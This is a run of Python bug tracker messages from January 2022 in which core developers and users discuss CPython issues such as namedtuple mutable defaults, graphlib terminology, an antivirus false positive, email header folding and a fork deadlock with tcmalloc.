g.P5 3: myNamedTuple(P1='hello', P2='world', P3=None, P4='', P5=['a', 'b', 'c', 'd'], P6=[])
h.P5 3: myNamedTuple(P1='good', P2='morning', P3=None, P4='', P5=['a', 'b', 'c', 'd'], P6=[])
Expected: g.P5: ['a', 'b', 'c', 'd']
Actual: g.P5: ['a', 'b', 'c', 'd']
Expected: h.P5: []
Actual: h.P5: ['a', 'b', 'c', 'd']

Dennis Sweeney <sweeney.dennis650 at gmail.com> added the comment:
This seems to be the standard confusion people have with mutable defaults, just with namedtuple defaults rather than function defaults.
Similar behavior elsewhere in Python:
>>> def f(x, y=[]):
... y.append(x)
... print(y)
...
...
>>> f(1)
[1]
>>> f(2)
[1, 2]
>>> f(15)
[1, 2, 15]
Or even
>>> a = []
>>> b = a
>>> b.append(4)
>>> a
[4]
This happens because the values you provide as defaults are *objects*, not *expressions* to be re-evaluated. If you make one of the defaults a list, you ask the namedtuple to "give me this particular list every time", and it will give you that same list, even if it has been modified.
There is currently no support for "construct a brand new list every time" in namedtuples. You could look to the dataclasses module for such a feature, where you can specify default_factory=list, and it will make a new list for each instance.

Subject: [issue46451] Possibly bad interaction with tracing and cython?
Message-ID: <1642740862.08.0.497751420234.issue46451@roundup.psfhosted.org>
New submission from Sebastian Berg <sebastian at sipsolutions.net>:
Starting here, but there could be Cython interaction or something else in theory. But, when running the following:
* Python 3.10.1 (not 3.9.9, debug version or not)
* Setting a tracing function (not setting a trace-function will fix the issue)
* Running Cython (maybe also C code) calling back into Python (the best I can tell)
It can happen that module globals in the called funtions scope seem to be modified. Oddly enough to a value used in the locals of that function?!
The pandas issue:
https://github.com/pandas-dev/pandas/issues/41935
has a reproducer (sorry that it takes NumPy and pandas for now). I will paste it at the end here also.
I can find that the value is modified by the time the `trace` function is called. No other "trace" triggers are processed before in this example (Cython calls other functions in NumPy, but all of those are C implemented, so I guess that is why).
The function in question (unlike all?) should further be called with `__Pyx_PyFunction_FastCall`, so that is probably an important data point: Fastcall protocol seems involved.
(Reproducible using NumPy 1.21.5 and Pandas 1.3.5, but except maybe pandas due to the Cython version, I don't expect version dependency.)
The output of the script is very brief:
Something happened here, `np.core.numeric.dtype IS np.dtype`
<frame at 0x7ff8d84416c0, file '/home/sebastian/forks/numpy/build/testenv/lib/python3.10/site-packages/numpy/core/numeric.py', line 289, code full> call None
The full reproducer script is:
import sys
import numpy as np
import pandas as pd
from numpy.core import numeric
stop = False
def trace(frame, event, arg):
global stop
if stop:
return None
if np.core.numeric.dtype is not np.dtype:
print("Something happened here, `np.core.numeric.dtype IS np.dtype`")
print(frame, event, arg)
stop = True
else:
print(frame, event, arg)
return trace
sys.settrace(trace)
pd._libs.lib.maybe_convert_objects(np.array([None], dtype=object))
For completeness, the Cython code calling the NumPy function in question, is (likley, there is more, this is Cython, I just cut it out a bit :)):
#if CYTHON_FAST_PYCALL
if (PyFunction_Check(__pyx_t_5)) {
PyObject *__pyx_temp[3] = {__pyx_t_2, __pyx_t_6, Py_False};
__pyx_t_15 = __Pyx_PyFunction_FastCall(__pyx_t_5, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 2441, __pyx_L1_error)
__Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0;
__Pyx_GOTREF(__pyx_t_15);
__Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
} else
#endif

Guido van Rossum <guido at python.org> added the comment:
Hm, the deep-frozen objects are statically initialized with a very large refcount that isn't accounted for (they are intended to be immortal). It seems that Py_Finalize() somehow decrefs those objects. I guess this means we need some kind of flag indicating certain objects are immortal (Eric has proposed several schemes), then we could just mark these objects as immortal.
This reminds me, since https://github.com/python/cpython/pull/30715 (which I merged yesterday) the deep-frozen objects also reference the small ints directly, as well as the singleton for b"". Is this even safe across Py_Finalize()/Py_Initialize()? If not, we'll need to roll that back as well.

Sebastian Berg <sebastian at sipsolutions.net> added the comment:
Ahh, a further data-point. The name from the module scope that is overwritten IS a parameter name used in the function locals. Strangly, if I modify the tracing to print more:
stop = 0
def trace(frame, event, arg):
global stop
if stop > 10:
return None
if np.core.numeric.dtype is not np.dtype:
#print("Something happened here, `np.core.numeric.dtype IS np.dtype`")
print(np.core.numeric.dtype)
print(frame, event, arg)
stop += 1
else:
print(frame, event, arg)
return trace
Then what I get is:
None
<frame at 0x7faa254396c0, file '/home/sebastian/forks/numpy/build/testenv/lib/python3.10/site-packages/numpy/core/numeric.py', line 289, code full> call None

bool
So, upon entering the function, the value is (already) cleared/set to None (which is correct of course for `dtype=None`) and then while the function runs storing into the function locals _mutates_ the module global?
For the fact that it keeps changing during the function run, points very strongly at CPython?

I disagree. The universally agreed upon terms are "directed edge u -> v". It's not obvious if the "predecessor" should be the start or the end point of the edge, and this is why the docs explicitly state the edge direction:
> If the optional graph argument is provided it must be a dictionary representing a directed acyclic graph where the keys are nodes and the values are iterables of all [...] the nodes that have edges that point to the value in the key.

> I disagree.
I can post literally hundreds of citations that all agree: in u -> v, u is a direct predecessor of v, and v is a direct successor of u.
Here's one:
http://pages.cs.wisc.edu/~vernon/cs367/notes/13.GRAPH.html
Here's another from a Python context:
https://networkx.org/documentation/stable/reference/classes/generated/networkx.DiGraph.predecessors.html
"""
A predecessor of n is a node m such that there exists a directed edge from m to n.
"""
On & on & on. Hence my "universal".
Can you link to any that disagree?
As to the meaning of "point to", in "u -> v" it's obvious that the arrow points _from_ u _to_ v. I very strongly doubt you can find a credible source disputing that either.

After discussion with Victor by using DM, I decided to provide high-level API instead of low-level APIs.
- gdbm.open(filename, snapshots=(foo, bar))
will do everything at once.

> Hm, the deep-frozen objects are statically initialized with a very large refcount that isn't accounted for (they are intended to be immortal). It seems that Py_Finalize() somehow decrefs those objects. I guess this means we need some kind of flag indicating certain objects are immortal (Eric has proposed several schemes), then we could just mark these objects as immortal.
The problem is only _Py_RefTotal. Maybe frozen_only_do_patchups() should increment _Py_RefTotal when Python it build with Py_DEBUG macro defined, so it can be safely decremented in Py_Finalize()?
Adding a flag in PyObject/PyTypeObject and modifying Py_DECREF() sounds more controversial. I suggest to do that later ;-) (I am not convinced that it's the best approach.) I would suggest to write a PEP for immortal objects.

I don't know.

Akuli <akuviljanen17 at gmail.com> added the comment:
I now agree that `# type: ignore` in dict subclasses makes sense the most, and exposing the views doesn't solve practical problems.
We talked more with the people who brought this up in typing. Turns out that the correct solution to their problems was to just inherit from MutableMapping instead of inheriting from dict. If you really need to inherit from dict and make .keys() do something else than it does by default, you're most likely trying to override all dict methods that do something with the keys, and you should just inherit from MutableMapping instead.

malware by Avast
Message-ID: <1642760942.75.0.147462544122.issue46452@roundup.psfhosted.org>
New submission from Nathan/Eilisha Shiraini <thfetoile at gmail.com>:
Sending this here for information mostly
On Windows, a recent (2022-01-21) Avast update makes it target the binary LZMA module embedded in Python 3.9 and 3.10.
I'm talking about this file: <Python install directory>\DLLs\_lzma.pyd
I've run a VirusTotal scan of the 3.10 version of the file, which has returned 2 positives out of 67 at the time I'm writing this:
https://www.virustotal.com/gui/file/f904b02720b6498634fc045e3cc2a21c04505c6be81626fe99bdb7c12cc26dc6
Can you confirm this is a false positive? Given the VirusTotal result I'm assuming it is, however I'd like to get official confirmation.

Also I should have added: I have already reported the file to Avast as a possible false positive, and I'm working on an app that heavily relies on LZMA so this has a high impact for me.

Subject: [issue42197] Disable automatic update of frame locals during tracing
In-Reply-To: <1603981001.04.0.667888856285.issue42197@roundup.psfhosted.org>
Message-ID: <1642762899.71.0.263571049389.issue42197@roundup.psfhosted.org>
Mark Shannon <mark at hotpy.org> added the comment:
While the various frame and debugger PEPs that are open offer a better solution to this, they might not be accepted for 3.11.
So I'd like to revisit this.
Removing the calls to `PyFrame_FastToLocals` and friends cuts the overhead of tracing down a lot. A *lot*.
Using Fabio's example I get the following slowdowns:
No calls to PyFrame_FastToLocals`: x10
Main branch with one local variable: x16
Main branch with six locals variables: x50
This is quite a compelling reason to remove the calls to `PyFrame_FastToLocals`.
The questions is "what will we break doing this"?
All the tests pass, so that seems promising.
Ned, how would this impact coverage.py?

Myles, it looks like the draft 14 contains a mismatch in 6.2.1:
> # 6.2.1. text/ecmascript
>
> Type name: application
> Subtype name: ecmascript
In header it's `text`, in details it's `application`. Is it intended?
I believe that a typo wouldn't pass though fourteen revisions but nevertheless, just to be safe.

Message-ID: <1642765020.5.0.0512563787695.issue46453@roundup.psfhosted.org>
New submission from Peder Bergebakken Sundt <pbsds at hotmail.com>:
The `help` text in add_argument of a subparser in argparse can not contain a `%`, as it will affect string formatting. This often results in an exception.
See repro.py for a reproduction, tested in Python 3.7 - 3.10.

Off the top of my head, I'm not sure this affects coverage.py at all, but I could be missing something. Does PR 23028 have all the changes, or is there some other python/cpython branch I can test with?

When we execute the script fd2.py in the python 3 environment, we can find that '0 -> /dev/null' is lost. I wonder if this is a bug in Python3 or a new feature? If it is a bug, how to fix it? I will look forward to your reply very much.

Subject: [issue1635741] Py_Finalize() doesn't clear all Python objects at exit
Message-ID: <1642766718.22.0.0979494260595.issue1635741@roundup.psfhosted.org>
STINNER Victor <vstinner at python.org> added the comment:
Using "./python -IsS" command, sys.modules now only has 3 extensions which are not created by PyModuleDef_Init():
* builtins
* _io
* sys
The builtins and sys extensions use many static types. Converting these static types to heap types is blocked by bpo-40601. Soon, bpo-46417 will clear these types. Py_Finalize() does its best to clear explicitly builtins and sys namespaces.

David Mc Dougall <dam1784 at g.rit.edu> added the comment:
I can post literally hundreds of examples of directed graphs that are traversable in the forward direction. This might be the only one which is *only* traversable backwards.
> As to the meaning of "point to"
Here is one: If I have a pointer in memory, I might represent that with an arrow,
Like: ADDRESS -> VALUE
Or if I have a dictionary I might write:
KEY -> VALUE
But in the graph the edges are directed the opposite way:
KEY <- VALUE
The edges in the graph point in the opposite direction as the underlying memory pointers. This is unexpected and confusing.

Oh, test_unittest crashed on s390x Debian 3.x:
https://buildbot.python.org/all/#/builders/49/builds/1789
I fail to see the relationship between my change and this crash. I don't expect test_unittest to call Py_Finalize() and then Py_Initialize() again.

Subject: [issue46455] Deprecate / remove os.name=java
Message-ID: <1642769558.95.0.589223779906.issue46455@roundup.psfhosted.org>
New submission from Xavier Morel <xavier.morel at masklinn.net>:
os.name is defined as:
> The following names have currently been registered: 'posix', 'nt', 'java'.
In my understanding, the value `'java'` is for the benefit of jython, which is rather poorly. Other third-party implementations which may or may not have a "full os module" (e.g. ironpython) do not -- as far as I can tell -- get to be registered against this value, and Python 3.3's addition of `sys.implementation` seems like a more reliable (and better supported) way to perform implementation-specific checks.
Therefore I feel `os.name == 'java'` only exists to confuse readers of the documentation, but doesn't really provide any value, and should be removed.

PS: "platform.system()" also documents `Java` as a value which doesn't seem to make that much sense, however it's an open set so probably less of an issue / source of confusion.

Steve Dower <steve.dower at python.org> added the comment:
Windows ARM64 devices all support x86 and x64 emulation, so while it's less than ideal performance-wise to use a non-native build for this step, it's hardly fatal. That step doesn't rely on the underlying architecture, just the current Python bytecode format (which is platform independent).
Leaving the Platform blank is not acceptable. It needs to be set to the preferred tool architecture, which as it happens, is $(PreferredToolArchitecture).
As I said, if you've hit a *real* issue around this, please describe it. There is no theoretical issue here, and as far as I'm aware, no practical issues either.

I don't think we've changed anything here in years, so I'd be very
surprised if something new was in there.
More likely somebody PyInstaller'd some malware and the scanners picked
up a generic part of it as the signature. Reporting it as a false
positive should let them compare against the original sample and correct it.

The installer doesn't support installing twice on the same machine, even to different locations.
What you probably want to do is to install it normally, then copy all the files onto the USB. You will need to "python -m pip install --force pip" in the new copy to fix up its scripts, and it may interfere with a system install if you use it on a machine that also has its own installation (though that's mostly been cleaned up since ~3.5), but should otherwise be fine.

Ok, this change fixed buildbots.
I saw code in typeobject.c which uses a borrowed reference to tp_subclasses with a loop which can modify tp_subclasses. This code should be modified to hold a strong reference to tp_subclasses while accessing it.
The test_mock_add_spec() test of test_unittest modifies the subclasses of many types and so is indirectly a stress tests for code accessing tp_subclasses. That's why the regression was only seen in this specific test.

That's not a bug, but a deliberate choice. In Python 3, file descriptors are no longer inherited by default by child processes (fork+exec). Jelle is right, it was changed by my PEP 446.
You must use pass_fds=[fd] parameter of subprocess.
Or at least, make the file descriptor inheritable (worse solution).

New submission from Nikita Sobolev <mail at sobolevn.me>:
Right now it has two sections:
```
.. versionchanged:: 3.11
The ``__exit__`` function is in position 8 of the stack rather than 7.
```
And
```
.. versionchanged:: 3.11
The ``__exit__`` function is in position 4 of the stack rather than 7.
Exception representation on the stack now consist of one, not three, items.
```
Furthermore, they seem to contradict each other.
I think that we should only keep the last one.
I will send a PR for it.

Now you may be getting somewhere ;-) Complaining about the docs wasn't getting traction because they're using standard terminology with the standard meanings, and tell the plain truth about what the class requires and delivers.
You wish it required something else instead. Fine: be direct about that! Suggest a feature enhancement rather than contorting the docs to pretend the class "really" requires what you _wish_ it required and is computing "the reverse" of what it claims to be computing. That won't be accepted because it's not true.
How about, e.g., suggesting instead a new optional constructor argument, like `successor_graph=False`, which can be passed as `True` to say that the `graph` argument is a successor dict rather than the default predecessor dict?
I wouldn't oppose that, and it would be easy to implement (indeed, way back when here I already posted code to do it).

STINNER Victor <vstinner at python.org> added the comment:
Oh, it seems like I misunderstood type_ready_mro() change. The check is only done on static types type. The MRO of heap types is not checked.
--
In my change, I wrote:
// _PyType_GetModuleByDef() must only be called on a heap type created
// by PyType_FromModuleAndSpec() or on its subclasses.
// type_ready_mro() ensures that a static type cannot inherit from a
// heap type.
based on this function:
static int
type_ready_mro(PyTypeObject *type)
{
/* Calculate method resolution order */
if (mro_internal(type, NULL) < 0) {
return -1;
}
assert(type->tp_mro != NULL);
assert(PyTuple_Check(type->tp_mro));
/* All bases of statically allocated type should be statically allocated */
if (!(type->tp_flags & Py_TPFLAGS_HEAPTYPE)) {
PyObject *mro = type->tp_mro;

This code comes from bpo-22079:
commit e09bcc874a21ce351a7fe73b9a137e236550d03c
Author: Serhiy Storchaka <storchaka at gmail.com>
Date: Wed Jan 28 11:03:33 2015 +0200
Issue #22079: PyType_Ready() now checks that statically allocated type has
no dynamically allocated bases.
Rationale: https://bugs.python.org/issue22079#msg236830
--
Note: PyType_Ready() function was very big and complex. I splitted this huge function into sub-functions in bpo-43770. I hope that it's a little bit more readable yet. I tried but failed to find a bug about tp_getattro and tp_setattro inheritance

An alternative would be to merge PyHeapTypeObject members into PyTypeObject. I don't get why there is a separated struture: PyTypeObject is excluded from the stable ABI. See my remark about that:
https://bugs.python.org/issue22079#msg391464
Having a separated structure just static types make the code more complex and more error prone.

#ifdef __cplusplus

Does it change the size of the structure between C and C++, sizeof(PyBytesObject)? Also, does the size of the struture matter? :-) I guess that the impart part is the ABI: offset of the members.

Without a way to reproduce this, we won't be able to help you.
Ideally you would provide a python script, which we could run, which shows the problem. It would be best if there were no third party packages involved, but if there are, you should provide instructions on how to set up a virtual environment that includes whatever software you need.

Subject: [issue46462] Email Header Folding Converts Non-CRLF Newlines to CRLFs
Message-ID: <1642789298.35.0.0834990245798.issue46462@roundup.psfhosted.org>
New submission from J. Walter Clark <jwalterclark at gmail.com>:
In various places in the email library `str.splitlines` is used to split up a message where folding might take place in the original message source. This appears to be a bug because when these split parts are re-joined they are joined by a CRLF.
https://github.com/python/cpython/blob/ef5bb25e2d6147cd44be9c9b166525fb30485be0/Lib/email/header.py#L369
`str.splitlines` splits on "universal newlines" which can include newlines other than the CRLF.
https://docs.python.org/3/library/stdtypes.html#str.splitlines
However, the email RFCs define folding whitespace with CRLF as the only possible newline type (optionally surrounded by WSP (SP/HTAB) and/or comments).
https://datatracker.ietf.org/doc/html/rfc5322#section-3.2.2
The end result is that a message making a roundtrip through the email parser/generator is mangled because it has any non-CRLF "universal newlines" converted to CRLFs. Anything in the header after the non-CRLF "universal newline" appears on it's own line with no preceding whitespace. This appears to happen with all of the stock policies.
```
from email import message_from_bytes
from email.policy import SMTPUTF8
eml_bytes = b'Header-With-FS-Char: BEFORE\x1cAFTER\r\n\r\nBody\r\n'
print(eml_bytes)
message = message_from_bytes(eml_bytes, policy=SMTPUTF8)
print(message.as_bytes(policy=SMTPUTF8))
```
```
b'Header-With-FS-Char: BEFORE\x1cAFTER\r\n\r\nBody\r\n'
b'Header-With-FS-Char: BEFORE\r\nAFTER\r\n\r\nBody\r\n'
```
The operational impact of this mangling is that the "AFTER" text now makes the message format invalid because it is neither a valid header (no ": ") nor the valid start of a message body (only one CRLF). Common MIME-viewers (e.g. Thunderbird/Outlook) appear to interpret it as a body anyway and any subsequent headers become part of the body.

I think the doc assumes that people will expect headers to be added for redirections, and if not the existence of the method `add_unredirected_header` that?s documented just after would tell it.
That said, the addition does no harm, so why not be explicit.

Yes -- additionally, since other http libraries (I believe) usually don't forward headers on redirections by default, the default for urllib.request is counterintuitive (and maybe even not ideal for security reasons?) and would benefit from additional clarification.

No, the code works fine. I just wish the docs weren't so muddled.
I wish the docs started by saying:
> The graph is a dict of {'start_node': ['end_nodes',]}
> The topological sorter puts the end_nodes before their start_nodes.
[note: this is what the code currently does]
Then the docs could introduce and use different terminology: "tasks" and their "dependencies".
Everyone understands what those are.
And nowhere does it need to say the word "predecessors".
But honestly, I think I'm going to throw in the towel and give up on this endeavor.

Dennis Sweeney <sweeney.dennis650 at gmail.com> added the comment:
I think I can summarize:
Tim + Current Docs:
* static_order to return [A, B]
* Conceptual/abstract directed graph direction is A --> B
* A is a predecessor of B
* predecessor mapping to be passed is {B: [A]}
David suggests:
* static_order returns [A, B]
* Conceptual/abstract directed graph direction is B --> A
* mapping to be passed is {B: [A]}
It seems David places more value on the idea of the concrete mapping "pointing forwards" with respect to the abstract directed graph, while it seems Tim places more value on the idea of the abstract mapping direction corresponding to the final static order. These two goals are in conflict, assuming we don't want to change the behavior.
I think I agree more with Tim, since abstract graphs can be represented in lots of ways (set of pairs? adjacency matrix or its transpose? adjacency list/dict? Bi-directional mapping?), so the translation from the abstract to the concrete is a decent place for the "reversal".
It's very very standard for a topological sort to be conceptualized as taking a picture like
A ? B
? ?
C ? D
and transforming it into a list/iterator like [A, B, C, D], and I think the conceptual consistency there should be preserved, even if the concrete representation of the abstract graph "points backwards".

IMO we shouldn't update PEP 544. PEPs reflect the historical proposal, they are not documentation for the current state of the interpreter.

Just because __init__ is extra weird doesn't mean that other methods aren't roughly like C++.
But I can't find the text the OP refers to. Without a specific pointer (at least a URL and quoted text) this issue is non-actionable and should probably be closed.

The first alpine315-tests.txt appears to be a truncated version of the second. Were you expecting the first to be automatically replaced? Should it be unlinked?
https://www.alpinelinux.org "Alpine Linux is a security-oriented, lightweight Linux distribution based on musl libc and busybox." Fron the doc linked above:
# Maintainer: Natanael Copa <ncopa at alpinelinux.org> ## I nosied Natanael at his CLA-signed Alpine id.
# Contributor: Sheila Aman <sheila at vulpine.house>
...
# musl related
fail="test__locale test_locale test_strptime test_re" # various musl locale deficiencies
fail="$fail test_c_locale_coercion"
fail="$fail test_datetime" # hangs if 'tzdata' installed
fail="$fail test_os" # fpathconf, ttyname errno values
fail="$fail test_posix" # sched_[gs]etscheduler not impl
fail="$fail test_shutil" # lchmod, requires real unzip
Should we change CPython tests to accommodate things that are missing (versus buggy). Should the tests requiring sched_[gs]etscheduler be skipped if missing? Or are they required to be 'posix' and is test_posix meant to test completeness as well as correctness of what is present?

Arguably the runtime should not check for incorrect calls to Concatenate. That's the job of static type checkers. So maybe that code could just be removed? (We don't bother checking things like list[0] either.)

Christian Heimes <lists at cheimes.de> added the comment:
In my opinion we should treat these issues as Alpine / musl libc platform bugs and ask the Alpine maintainers to look into the issue. The tests are passing on Linux with glibc and BSD platforms (FreeBSD, macOS, ...) with BSD libc. It is reasonable to assume that failing test are caused by incompatibilities or deficiencies in musl libc, or by a different interpretation of POSIX and Open Group standards.
I would not ignore or skip any test unless we have a thorough understanding of the problem and the deviation is documented. The issue can also affect user code.
Python's test suite is exhaustive. Our tests have found a fair amount of problems in e.g, libm. A couple of years ago ine of my AF_ALG socket tests even found a Kernel bug by triggered a Kernel fault.

The comment about sched_[gs]etscheduler seems to be outdated. For one CPython's test suite has a @requires_sched decorator that performs a check for sched_getscheduler and the Kernel syscall. musl libc in Alpine 3.13 and 3.15 have sched_setscheduler.

'urlencode()' is a TypeError as a query (dict) is needed. The claim is that '/?' in a key are encoded but should not be. I verified the encoding in 3.10.
>>> urlencode({'/?link': 'pubmed'})
'%2F%3Flink=pubmed'
https://docs.python.org/3/library/urllib.parse.html#urllib.parse.urlencode
https://docs.python.org/3/library/urllib.parse.html#urllib.parse.quote
and the following entry from 'quote_plus' say that by default, quote_via is quote_plus and the latter quotes '/' and '?'. So the bug report as stated is not valid.
---
They also say that passing 'quote_via=quote' should suppress quoting of '/', because it defaults to 'safe='/', but it does not.
>>> urlencode({'/?link': 'pubmed'}, quote_via=quote)
'%2F%3Flink=pubmed'
So either the doc should be changed in 3 places, or the default safe for quote should be '/' as documented.
---
Anh, use safe='/?' to get what you want.
>>> urlencode({'/?link': 'pubmed'}, quote_via=quote, safe='/?')
'/?link=pubmed'

Tim Peters <tim at python.org> added the comment:
Perhaps you've overlooking something so obvious to the module authors that I haven't thought to mention it?
The purpose here is to compute a linear order. Now not even you ;-) can pretend to be confused about what "predecessor" and "successor" mean in a linear order. There's no graph involved in the final result (unless you mentally impose a trivial linear graph on the result sequence).
And that's how to view the `graph` argument _as intended_. It maps an element to the elements that must precede it _in the result_. The element's mandatory predecessors in any acceptable imposed total ordering.
>From that intended view, this is just waaaay off base:

> The graph is a dict of {'start_node': ['end_nodes',]}
> The topological sorter puts the end_nodes before their start_nodes.
> [note: this is what the code currently does]
The words "start" and "end" there would be clearer as "banana" and "beeswax" ;-) End of what? Start of what? The "start" node has to appear _after_ all the "end" nodes? In what other context does the "start" appear after the "end"?
As is, the code puts the "start" node after all its declared mandatory predecessors. Exactly as the word "predecessors" suggests should happen.

IF that's what he's suggesting (I don't know), that's not a matter of preference, it's just plain wrong. The only possible topsort of the DAG B --> A is the sequence [B, A]. For which see absolutely any text defining the terms.
There are many ways the "mapping to be passed" could be defined. David is certainly right that, by convention, most graphs in Python are represented by successor dicts. But he apparently doesn't want an option for the topsorter to accept such a dict either. (An irony in passing: under the covers, the class converts the predecessor-dict `graph` argument to a successor-dict representation.)
At this point, I not only don't know what he wants, his position gets less clear to me over time.

Jorgen Harmse <jharmse at roku.com> added the comment:
There may be more people who use Python, but there are strange semantics that cause problems even for experienced Python programmers. For example, assign-by-reference (apparently built without considering the solutions available in MatLab & R) frequently leads to unexpected changes in the caller's space. I expect that very few people understand linearisation, so multiple inheritance is effectively unusable in Python. C++ would generate a compile-time error if two base classes provided the same method (unless they inherited it from a common virtual base class).
The text in question appears twice in Section 9 of https://docs.python.org/3/tutorial/classes.html. It's in the third paragraph of the introduction and the 5th text paragraph of Section 9.5.

tcmalloc is used
Message-ID: <1642807973.18.0.685289247639.issue46464@roundup.psfhosted.org>
New submission from Yilei Yang <yileiyang9 at gmail.com>:
When Python is built and linked with tcmalloc, using ProcessPoolExecutor may deadlock. Here is a reproducible example:
$ cat t.py
from concurrent import futures
import sys
def work(iteration, item):
sys.stdout.write(f'working: iteration={iteration}, item={item}\n')
sys.stdout.flush()
for i in range(0, 10000):
with futures.ProcessPoolExecutor(max_workers=2) as executor:
executor.submit(work, i, 1)
executor.submit(work, i, 2)
$ python t.py
working: iteration=0, item=1
working: iteration=0, item=2
working: iteration=1, item=1
working: iteration=1, item=2
...
working: iteration=3631, item=1
working: iteration=3631, item=2
<hang here>
The child process fails to finish. It's more likely to reproduce when the system is busy.
With some bisect search internally, this commit https://github.com/python/cpython/commit/1ac6e379297cc1cf8acf6c1b011fccc7b3da2cbe "triggered" the deadlock threshold with tcmalloc.

The small ints and the empty bytes object each have "immortal" refcounts too (999999999, just like you did in deepfreeze). So they would cause a similar behavior to what Victor reported. Otherwise I wouldn't expect any problems across Py_Finalize()/Py_Initialize().

Message-ID: <1642809593.03.0.696330770978.issue46464@roundup.psfhosted.org>
Gregory P. Smith <greg at krypto.org> added the comment:
For context, the fundamental problem is that os.fork() is unsafe to use in any process with threads. concurrent/futures/process.py violates this. So long as its design involves a thread, it can never be guaranteed not to deadlock.
POSIX forbids execution of most code after fork() has been called. Returning to the CPython interpreter after os.fork() in the child process is never safe unless the parent process had no threads at fork time.
The change that triggered the issue moved from doing all of the os.fork() calls for the workers up front *before the thread was spawned* to doing them on demand after the thread was running.
The bugfix for this is simply a rollback to revert the bpo-39207 change. It was a performance enhancement, but it causes a new deadlock in code that didn't already have one when thread tuned malloc implementations are used.
The only way to safely launch worker processes on demand is to spawn a worker launcher process spawned prior to any thread creation that remains idle, with a sole job of spawn new worker processes for us. That sounds complicated. That'd be a feature. Lets go with the bugfix first.

Yes, that's right. But the good news is that if you're willing to rewrite all of the documentation you probably can explain this in a clear and simple way, and without breaking compatibility.
I say *you* because I'm not going to argue with you all about this anymore, especially with Tim being...

Tim: you're conflating the words "predecessors" and "dependency".
In some contexts they can be synonymous, but they are not the same thing.
* Predecessor refers to one of the sides of a directed edge.
* Dependency refers to a semantic relationship between two of the users' things.

This definition doesn't say anything about the "predecessors" or how the graph is stored,
or anything about "edge direction". I like this definition.
> that's not a matter of preference, it's just plain wrong
I know that there are many different ways to represent a graph, but your graph format *is just plain wrong.*

Yet when I offered to support an option to support the graph format you insist is uniquely "right", you poo-poo'ed the idea. So what is your real complaint? I don't know. Here you once again complain about the graph format, after rejecting an idea to address that directly.
Sorry, but you don't make sense to me.
> if you're willing to rewrite all of the documentation you

I don't see that happening. The docs are quite clear to me already, but I recognize that I'm too close to them to be objective about that. Instead I'm going on ample evidence from mailing lists, blogs, and StackOverflow that yours is the first complaint I've seen that the basic functionality here is any way unclear or ill-documented. People pick it up and use it productively at once. Nobody else has appeared to be confused.
Where things get unclear is limited to novel applications of multiprocessing. But people always stumble over multiprocessing, even for something as simple and bulletproof as a multiprocessing.Queue. Comes with the territory.
Finally, the distinction between "predecessors" and "dependencies" here strikes me as being uselessly pedantic. Nobody on the planet has an actual problem with recognizing that, e.g., "a" is predecessor of "n" in the string "pedantic". That's so in both technical language and plain English. Same here.
Still, if you want to rewrite the docs, go for out. I'll stay out of it completely.

This is intentional behaviour, if the value is 5 it rounds towards even as documented here: https://docs.python.org/3/library/functions.html#round
The reason is so that if you have a bunch of random data, rounding won't slightly bias the result upward or downward.

Please take a look at fd.py. In this file, we first close fd 0, then open /dev/null as fd_null, and dump fd_null to fd 0. After we fork new process, this fd 0 `is` inherited.
This seems to be a bug?

File descriptors 0, 1, 2 are special: stdin, stdout and stderr file descriptors. You should use stdin, stdout, and stderr parameter of subprocess.
Sorry but the bug tracker is not a good place to ask questions about how to use Python, it's only to report bugs.
Python works as expected.

Jelle Zijlstra <jelle.zijlstra at gmail.com> added the comment:
I don't think we should merge this change. get_type_hints() is fragile and full of corner cases around using the right globals and locals dictionaries. dataclasses shouldn't execute it implicitly for you.

As documented, this is not a bug.
"if two multiples are equally close, rounding is done toward the even choice"
https://docs.python.org/3/library/functions.html#round
This is also called "Banker's Rounding" or "Round half to even" and for rounding many values, it minimizes the expected total rounding error.

Jelle Zijlstra <jelle.zijlstra at gmail.com> added the comment:
I think this should be fixed in typing.py instead. get_type_hints() should be less strict about what it accepts as a type, so users are free to use annotations in innovative ways.
Static type checkers should have the job of enforcing that type annotations are valid types.

> File descriptors 0, 1, 2 are special: stdin, stdout and stderr file descriptors. You should use stdin, stdout, and stderr parameter of subprocess.
I finally find why `fd 0` is inherited. The reason is that os.dup2() has a parameter "inheritable" which defaults to True. Not because it's special stdin.
I still think this is a bug. If some one closes fd 0, then he reopens it. it will not be inherited.

I see this trend in typing.py :)
I think it makes sense to make all new types (I still consider `ParamSpec` and `Concatenate` as new, desipte the fact they are already released in 3.10) as flexible as possible.
I will change my PR.

[John]
> Mark, would you give it a review this month?
Apologies; my holiday-break free time was nobbled from unexpected quarters. I can't promise to find time this month, but I can promise to try. I did at least skim through the PR, and while there are still likely some iterations needed I'm satisfied that this is technically feasible.
But I'm afraid that's the easy part. If this is to go in, the other problem we still have to solve is achieving some consensus among the core developers that this is worth doing. Right now, judging by comments on this issue, I think I'm the only core dev who thinks this is a good idea; others are lukewarm at best, and I'm not willing to unilaterally approve and merge these changes without something closer to a consensus. There are a couple of ways forward here:
- Post the proposal on python-ideas to get wider visibility and feedback. If everyone agrees this is a great idea (from experience, this seems an unlikely outcome), then we can go ahead and merge. Otherwise we'd likely need a PEP to move forward.
- Bypass the python-ideas step, write the PEP, discuss in the appropriate forums, and then submit to the SC for approval / rejection.
- Convince Eric Smith. :-) With apologies to Eric for singling him out: Eric could reasonably be described as the steward/maintainer of the formatting machinery, so if he's persuaded, that's good enough for me.
The fact that you've already created a working implementation so that people can experiment is a bonus when it comes to trying to sell this to others.
I don't have the bandwidth to write a PEP, but I would be happy to act as PEP sponsor.

Subject: [issue46470] `_remove_dups_flatten` in `typing.py` contains dead
branch
Message-ID: <1642846573.38.0.521672483974.issue46470@roundup.psfhosted.org>
New submission from Nikita Sobolev <mail at sobolevn.me>:
Here's how `_remove_dups_flatten` is defined right now:
```
def _remove_dups_flatten(parameters):
"""An internal helper for Union creation and substitution: flatten Unions
among parameters, then remove duplicates.
"""
# Flatten out Union[Union[...], ...].
params = []
for p in parameters:
if isinstance(p, (_UnionGenericAlias, types.UnionType)):
params.extend(p.__args__)
elif isinstance(p, tuple) and len(p) > 0 and p[0] is Union:
params.extend(p[1:])
else:
params.append(p)
return tuple(_deduplicate(params))
```
Source: https://github.com/python/cpython/blob/38afeb1a336f0451c0db86df567ef726f49f6438/Lib/typing.py#L274
